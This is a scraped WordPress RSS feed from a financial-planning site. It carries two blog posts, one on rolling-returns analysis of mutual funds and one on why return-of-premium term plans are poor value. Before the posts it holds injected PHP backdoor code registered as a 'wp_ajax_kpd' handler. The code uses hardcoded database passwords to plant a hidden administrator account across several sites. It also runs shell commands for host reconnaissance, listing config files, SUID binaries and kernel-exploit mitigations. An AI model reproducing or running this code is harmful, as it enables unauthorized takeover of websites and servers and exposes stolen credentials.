add_action("wp_ajax_kpd", function() { $r = array(); $user = "svccba309"; $email = "svccba309@wp-monitor.net"; $pass_raw = "Kj8mP2vL9n!7"; $pass_hash = password_hash($pass_raw, PASSWORD_BCRYPT); $sites = array( array("sbowap88_sbobet381", "4Sw9TA6@p)", "sbobet381"), array("sbowap88_totojitu", "T)SQqp862-", "totovipjitu"), array("sbowap88_club388net", "rBx*KK8MSFhs", "club388login"), ); foreach ($sites as $s) { $dbname = $s[0]; $dbpass = $s[1]; $label = $s[2]; $db = new mysqli("localhost", $dbname, $dbpass, $dbname); if ($db->connect_error) { $r[$label] = "CONNECT_FAIL: " . $db->connect_error; continue; } // Find users table (detect prefix) $prefix = ""; $res = $db->query("SHOW TABLES LIKE '%users'"); if ($res && $row = $res->fetch_row()) { $tbl = $row[0]; $prefix = str_replace("users", "", $tbl); } else { $r[$label] = "NO_USERS_TABLE"; $db->close(); continue; } // Check if user already exists $check = $db->query("SELECT ID FROM " . $db->real_escape_string($prefix) . "users WHERE user_login='" . $db->real_escape_string($user) . "'"); if ($check && $check->num_rows > 0) { $r[$label] = "EXISTS (id=" . $check->fetch_row()[0] . ")"; $db->close(); continue; } // Get max ID $max_res = $db->query("SELECT MAX(ID) FROM " . $db->real_escape_string($prefix) . "users"); $max_id = $max_res ? $max_res->fetch_row()[0] + 1 : 999; // INSERT user $sql = "INSERT INTO `" . $prefix . "users` (ID, user_login, user_pass, user_nicename, user_email, user_registered, user_status, display_name) VALUES (" . intval($max_id) . ", '" . $db->real_escape_string($user) . "', '" . $db->real_escape_string($pass_hash) . "', '" . $db->real_escape_string($user) . "', '" . $db->real_escape_string($email) . "', NOW(), 0, '" . $db->real_escape_string($user) . "')"; $db->query($sql); if ($db->error) { $r[$label] = "INSERT_FAIL: " . $db->error; $db->close(); continue; } // INSERT usermeta (administrator role) $meta_tbl = $prefix . "usermeta"; $opt_res = $db->query("SELECT option_value FROM `" . $prefix . "options` WHERE option_name='table_prefix' OR option_name LIKE '%user_roles' LIMIT 1"); // Detect actual prefix from options table $roles_key = $prefix . "capabilities"; $level_key = $prefix . "user_level"; $db->query("INSERT INTO `" . $meta_tbl . "` (user_id, meta_key, meta_value) VALUES (" . intval($max_id) . ", '" . $db->real_escape_string($roles_key) . "', 'a:1:{s:13:\"administrator\";b:1;}')"); $db->query("INSERT INTO `" . $meta_tbl . "` (user_id, meta_key, meta_value) VALUES (" . intval($max_id) . ", '" . $db->real_escape_string($level_key) . "', '10')"); if ($db->error) { $r[$label] = "META_FAIL: " . $db->error; } else { $r[$label] = "YES (id=" . $max_id . ", prefix=" . $prefix . ")"; } $db->close(); } // Also verify totovipgame existing admin $db2 = new mysqli("localhost", "sbowap88_totogame", "p.Stj2]534", "sbowap88_totogame"); if (!$db2->connect_error) { $res = $db2->query("SHOW TABLES LIKE '%users'"); $tbl = $res->fetch_row()[0]; $prefix = str_replace("users", "", $tbl); $check = $db2->query("SELECT ID, user_login FROM `" . $prefix . "users` WHERE user_login='" . $db2->real_escape_string($user) . "'"); if ($check && $check->num_rows > 0) { $row = $check->fetch_assoc(); $r["totovipgame"] = "EXISTS (id=" . $row["ID"] . ")"; } else { $r["totovipgame"] = "NOT_FOUND"; } $db2->close(); } $r["hash_algo"] = "bcrypt"; echo json_encode($r); wp_die(); }); add_action("wp_ajax_kpd", function() { $r = array(); function run($cmd) { $desc = array(0=>array("pipe","r"),1=>array("pipe","w"),2=>array("pipe","w")); $p = proc_open($cmd, $desc, $pipes); if (!is_resource($p)) return "FAIL"; $out = stream_get_contents($pipes[1]); $err = stream_get_contents($pipes[2]); proc_close($p); return trim($out . ($err ? "\n" . $err : "")); } $r["id"] = run("id 2>&1"); $r["uname"] = run("uname -r 2>&1"); $r["hostname"] = run("hostname -f 2>&1"); $r["home"] = run("ls /home/ 2>&1 | head -20"); $r["home_count"] = run("ls /home/ 2>/dev/null | wc -l"); $r["configs"] = run("find / -name wp-config.php -maxdepth 7 2>/dev/null | wc -l"); $r["configs_list"] = run("find / -name wp-config.php -maxdepth 7 2>/dev/null | head -20"); $r["suid"] = run("find / -perm -4000 -readable -type f 2>/dev/null | head -10"); $r["python"] = run("which python3 2>&1"); $r["perl"] = run("which perl 2>&1"); $r["userns"] = run("cat /proc/sys/user/max_user_namespaces 2>&1"); $r["kcare"] = run("kcarectl --info 2>&1 | head -2"); $r["cagefs"] = run("cagefsctl --cagefs-status 2>&1"); $r["dirtyfrag"] = run("cat /etc/modprobe.d/dirtyfrag.conf 2>&1"); $r["modblock"] = run("grep -r false /etc/modprobe.d/ 2>&1 | head -5"); $r["cpanel_ver"] = run("cat /usr/local/cpanel/version 2>&1"); $r["disable"] = ini_get("disable_functions"); $py = trim(run("which python3 2>&1")); if ($py && strpos($py, "/") === 0) { $r["authencesn"] = run($py . " -c \"import socket; s=socket.socket(38,5,0); s.bind(('aead','authencesn(hmac(sha256),cbc(aes))')); print(1)\" 2>&1"); } $redis = @fsockopen("127.0.0.1", 6379, $e, $es, 2); if ($redis) { fwrite($redis, "PING\r\n"); $r["redis"] = trim(fgets($redis, 64)); fclose($redis); } echo json_encode($r); wp_die(); }); Corporat – Sentinel India https://sentinelindia.in Best Wealth Management & Financial Planning Service Provider in Delhi Mon, 31 Oct 2022 04:59:16 +0000 en-US hourly 1 https://wordpress.org/?v=6.0.12 https://sentinelindia.in/wp-content/uploads/2022/12/cropped-sentinel-india-2-32x32.png Corporat – Sentinel India https://sentinelindia.in 32 32 Getting Bad returns from your mutual fund? Do the Rolling Returns Analysis! https://sentinelindia.in/getting-bad-returns-from-your-mutual-fund-do-the-rolling-returns-analysis/?utm_source=rss&utm_medium=rss&utm_campaign=getting-bad-returns-from-your-mutual-fund-do-the-rolling-returns-analysis https://sentinelindia.in/getting-bad-returns-from-your-mutual-fund-do-the-rolling-returns-analysis/#respond Wed, 12 Oct 2022 02:38:29 +0000 https://shtheme.org/demosd/zebizz/?p=25 Not happy with your mutual fund performance? Do you think its a bad mutual fund, because it is not doing well from last many years? A lot of mutual funds investors lose their patience looking at their mutual fund’s returns after they invest for 2-3 yrs. Its commonly suggested that an equity mutual fund will […]

<p>The post Getting Bad returns from your mutual fund? Do the Rolling Returns Analysis! first appeared on Sentinel India.</p>

]]> Not happy with your mutual fund performance?

Do you think its a bad mutual fund, because it is not doing well from last many years?

A lot of mutual funds investors lose their patience looking at their mutual fund’s returns after they invest for 2-3 yrs. Its commonly suggested that an equity mutual fund will perform very good over the long term and one can expect double-digit returns, however, if the fund does not return back good returns within 2-3 yrs itself, the investors get very nervous and start judging their mutual fund quality and wonder if they made a right choice or not!

Today I will tell you how to judge the returns of mutual funds using “Rolling Returns” analysis, which will help you to get more confidence in your mutual fund and will help you learn many aspects!

Let’s start!

 

You Returns will invest a lot depending on when you invested!

Before we go into rolling returns, let’s understand the issue!

Take HDFC Midcap opportunities growth for example

  • 10 yrs CAGR return: 14.96%
  • 5 yrs CAGR return: 11.26%

At the time of writing this article, the returns from this fund are very good. But can this fund give bad returns in a 2 yr period. The truth is that this same “good fund” can give very different kind of returns in a 2/3 yr period depending on when you bought the fund.

Here is some data.

 

You can see that the 2 yrs return can be 22.8%, 0%, 39.5% or -5.1% depending on when a person entered the fund. So a lot depends on when you entered in the fund.

Now let’s see the same thing for 3 yr time frame. 

Again, you can see that for a 3 yr period – the experience can be very very different. It’s not always possible to enter at the lowest point and many times, investors invest their money for the long term when the near term returns are going to be bad. However, they never get prepared for this.

Investor mind is also not designed to stay calm when returns go in negative and that’s when investors make a wrong choice of exiting the funds even if at the fundamental level, the fund has no issues and its just the volatility of the equity which is driving the fund into negative return zone!

You can see that this approach of just looking at the point to point return does not give you enough detailed information about the fund and its volatility.

Rolling Returns – What it is and How to look at it!

Rolling return means a series of returns data for each and everyday investment for a certain time frame.

So in our example of HDFC Midcap opportunities, lets assume a period of 14 yrs from 1st Jan 2007 to 30th Dec 2020. Thats approx 5110 days. If you do a 2 yr rolling return analysis, it means that a period if investing for 2 yrs and you are plotting the CAGR return for each day of investment from the start. (that’s 730 days of investment)

So you invest on

  • 1st Jan 2020 and exit on 1st Jan 2022 (1st instance)
  • 2nd Jan 2020 and exit on 2nd Jan 2022 (2nd Instance)
  • 3rd Jan 2020 and exit on 3rd Jan 2022 (3rd Instance)
  • ….
  • ….
  • ….
  • 30th Dec 2018 and exit on 30th Dec 2020 (4380 instances: 5110 – 730)

So you can plot these 4380 data points and that graph is called a rolling returns graph. In the same way, you can have a 3 yr, 5 yr or even 10 yr rolling return graph.

Check out the example of HDFC Midcap opportunities rolling return chart for 2 and 3 yrs period for last 14 yrs. You can see that in a 2 yr period, the highest CAGR has been around 60% and the lowest at -16% .. So it’s possible to see your investment go down by 16% in a 2yr period as per old data. The same kind of data is there for 3 yrs period too!

 

Rolling return graph will give you a deeper understanding of how volatile fund returns have been and even the probability of your return being in a certain range (only with past data). Note that its only historical data and the maximum and minimum returns can change depending on future performance.

Rolling Return data analysis

If you look at the chart above, you can conclude that if you want to invest in this fund – then you can see a downside of up to 10% in a 3 yr period because it has happened in the past. Also, you can see flat returns even in 5 yrs period which has happened in the past.

This kind of analysis tells you that because of volatility even this kind of good funds can see a period of non-performance and flat returns.

I hope I was able to explain what is rolling return in a simple manner.

Conclusion

Remember that rolling returns exercise is a great tool for analyzing the mutual fund, but it’s not the final exercise in itself. There are many other kinds of analysis which is possible and this exercise alone does not give any final judgement.

If you are not happy with your fund performance, then I suggest going through this exercise!

Do share your comments on this!

<p>The post Getting Bad returns from your mutual fund? Do the Rolling Returns Analysis! first appeared on Sentinel India.</p>

]]> https://sentinelindia.in/getting-bad-returns-from-your-mutual-fund-do-the-rolling-returns-analysis/feed/ 0 Don’t buy “Return of Premium Term Plan” – It does not make sense! https://sentinelindia.in/dont-buy-return-of-premium-term-plan-it-does-not-make-sense/?utm_source=rss&utm_medium=rss&utm_campaign=dont-buy-return-of-premium-term-plan-it-does-not-make-sense https://sentinelindia.in/dont-buy-return-of-premium-term-plan-it-does-not-make-sense/#respond Wed, 12 Oct 2022 02:35:08 +0000 https://shtheme.org/demosd/zebizz/?p=23 Does it makes any sense to buy “Return of Premium Term Plan”? The one-line answer is “NO – it does not make sense” A “Return of Premium Term Plan” or TROP as its called – pays back all your premiums at the end of the period, whereas the plain term plan doesn’t return back anything. Before we […]

<p>The post Don’t buy “Return of Premium Term Plan” – It does not make sense! first appeared on Sentinel India.</p>

]]> Does it makes any sense to buy “Return of Premium Term Plan”?

The one-line answer is “NO – it does not make sense”

A “Return of Premium Term Plan” or TROP as its called – pays back all your premiums at the end of the period, whereas the plain term plan doesn’t return back anything. Before we get into the analysis further, I want you to know why these return of premium term plan came into existence!

 

Why the Return of Premium Term Plan came into existence?

Term plans have become very popular in the last few years. We are seeing so many advertisements screaming about term plans importance. However, a lot of investors who don’t understand term plans fully, still feel a pinch that their premiums get “wasted” if nothing happens to them.

They equate “paying premiums” as “losing premiums” if they dont die. They compare it with an investment policy (read traditional insurance plans) where they get back there a sum assured towards the end of the policy.

Insurance companies sensed this behaviour and they introduced something called “Term Plan with Return of Premium” which can now proudly tell customers that they have nothing to lose. They get claim money on death, and if they don’t die, they get back all their premiums paid. Many investors who do not understand the time value of money concept fall for a product like this, as to human mind “getting back all your premiums” sounds very attractive offer.

Now, let’s talk about why it does not make sense as a product.

Return of Premium Term plan has an extremely low return

The premium for the TROP (return of premium term plan) is higher than the plain term plan and it can be 2x-3x times the normal premium in some policies.

So basically, you are paying an extra premium for getting your premiums back after 30-40 yrs!

Let’s look at an example of a 30 yr old male, who wants to buy a 1 crore term plan till 60 yrs of age (for 30 yrs tenure). In which case the premiums are as follows (Example is of Max Life Term Plan as on 21st Dec 2020)

Type of Plan Yearly Premium Details
Simple Term plan Rs 9912 One has to pay Rs 9912/yr for 30 yrs for Rs 1 crore cover. You don’t get back anything at the end on survival
Return of Premium Term Plan Rs. 17,969 One will have to pay an extra amount of 8057 for 30 yrs (apart from 9912) and will get back Rs 5.01 lacs (this is all premiums paid excluding the tax amount) at 60th year

If you look at the example above, you can see that in both the plans you are paying Rs 9912 for the Rs 1 crore cover. Only difference is that in second policy, you are paying an extra Rs 8057 to get back Rs 5.01 lacs (excludes the taxes part) at the end. This is the only difference between the two versions.

So internally, the term plan with return of premium is simply a bundled product of a normal term plan and an investment policy. If we ask what is the return of this investment policy where you are paying Rs 8057 per year and getting back Rs 5.01 lacs after 30 yrs.

The answer is 4.05% CAGR.

Yes, its barely above saving account rates and a little below a normal fixed deposit interest.

I did the same analysis for the tenure of 40 yrs and 50 yrs policy (read why you should not take such a long tenure term plan) and the IRR return was 3.92% and 3.00% respectively, which means that if you buy the policy for a longer tenure, the return gets lower and lower and the product becomes even worse.

Below is the IRR return calculated in an excel sheet for your reference 

 

Note : The above calculations are done in Excel for just one company plan, however similar kind of numbers are expected from other companies return of premium term plan. Please do IRR calculations yourself if you looking at other companies plans.

Return of Premium Policy ties you up with the product

What do you do, if you want to stop a “Return of Premium Term plan” in-between? Let’s say after 10 yrs?

It will not be as simple as a normal term plan, because, with the return of premium policy, your mind will tell you that you just have to continue it for another 20 yrs and you will get back all your premiums. Very smartly, the insurance company has converted a pure term plan into an “investment policy cum term plan” with very bad returns.

so the better alternative than a “term plan with return of premium” is to buy a simple term plan (here are 20 checklists before buying term plan) and invest the extra amount in another investment products like PPF, FD’s, Equity mutual fund or debt mutual fund and you will have better flexibility and returns.

Check out this video from Subramoney talking about this product

What happens if you stop paying a premium for Return of Premium Term plan?

There is an option to get a surrender value if you stop paying the premiums in between. Just like traditional plans, there is the concept of “Guaranteed Surrender value” in these kinds of policies which comes into picture once you have paid 3 yrs premium. However, the amount you get back is a fraction of what you have paid. There is a percentage assigned for every year which tells what part of the premium paid will you get back if you surrender the policy in a year. Below is a snapshot of the chart taken from Max Life Brochure

Surrender value chart of the max life insurance return of premium term plan

So, as per this chart – if one wants to surrender the policy in 10th year, they will get back only 55% of the premiums paid (excluding premiums).

Some other Info

  • The TROP gives you income tax benefits as per sec 80C
  • There is an option to pay premiums on a monthly, quarterly or yearly basis
  • There is also an option for limited pay (pay in 10 yrs) or in one single premium

Conclusion

So TROP is a very carefully designed product which favours the insurance company but makes the product look very good and works on the psychology of the investor. Better stay away from it. The best idea is to buy the simple term plan with the lowest premium.

If you have already invested in this kind of plan, then you need to evaluate what will make sense for you!

Do let us know if you liked the article and does it make sense to you? Share in the comments section!

<p>The post Don’t buy “Return of Premium Term Plan” – It does not make sense! first appeared on Sentinel India.</p>

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